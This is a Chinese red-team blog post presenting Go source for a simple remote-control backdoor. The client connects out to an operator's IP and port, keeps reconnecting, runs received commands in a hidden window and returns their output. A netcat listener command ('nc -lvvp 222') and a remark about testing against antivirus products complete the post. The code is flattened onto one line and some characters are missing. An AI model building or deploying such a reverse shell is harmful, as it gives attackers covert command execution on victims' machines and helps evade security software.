红队笔记之go语言远控初探
功能介绍:
1、socket连接建立
2、命令执行
3、消息回传
4、断开连接
package main import ( "bufio" "bytes" "context" "fmt" "github.com/axgle/mahonia" "io" "net" "os" "os/exec" "strings" "syscall" "time" ) func ConnectServer(address string){ //与服务端建立socket连接 conn,err:=net.Dial("tcp",address) if err != nil { fmt.Println("连接失败") //失败重连 for { ConnectServer(address) } } //关流 defer conn.Close() //开始接收服务端信息 for{ //等待接收指令,以 为结束符 message, err := bufio.NewReader(conn).ReadString( ) if err == io.EOF { // 如果服务器断开,则重新连接 conn.Close() ConnectServer(address) } //删除无用字符 message1 := strings.Replace(message," ","",-1) cmdParameter := strings.Split(message1, " ") switch cmdParameter[0] { case "back": conn.Close() ConnectServer(address) case "exit": conn.Close() os.Exit(0) default: cmdSlice := cmdParameter[1:len(cmdParameter)] //调用执行命令 out, err := Command(cmdParameter[0], cmdSlice...) if err != nil { out = []byte(err.Error() + " ") } 解决命令行输出编码问题 out1 :=ConvertToUTF8String(string(out),"gbk") conn.Write([]byte(out1)) } } } func Command(name string, arg ...string) ([]byte, error) { // 创建一个子节点的context,30秒后自动超时 // 利用根Context创建一个父Context,使用父Context创建2个协程,超时时间设为30秒 Timeout := 30 * time.Second ctxt, cancel := context.WithTimeout(context.Background(), Timeout) defer cancel() // 通过上下文执行,设置超时 cmd := exec.CommandContext(ctxt, name, arg...) //隐藏式执行 cmd.SysProcAttr = &syscall.SysProcAttr{ HideWindow: true} var buf bytes.Buffer cmd.Stdout = &buf cmd.Stderr = &buf if err := cmd.Start(); err != nil { return buf.Bytes(), err } if err := cmd.Wait(); err != nil { return buf.Bytes(), err } return buf.Bytes(), nil } func ConvertToUTF8String(src string, srcCode string) string { srcCoder := mahonia.NewDecoder(srcCode) srcResult := srcCoder.ConvertString(src) return srcResult } func main() { //传入Server的ip和端口让远控绑定 ConnectServer("你的IP:端口") }
测试一下:
1、服务端使用nc监听端口222
nc -lvvp 222
2、客户端main方法中配置IP:端口,并启动程序
3、检查命令是否可以执行(杀软:某全家桶+某绒)
上一篇:
5款热门的远程控制软件,让你事半功倍
下一篇:
使用基本MVC2模式创建新闻网站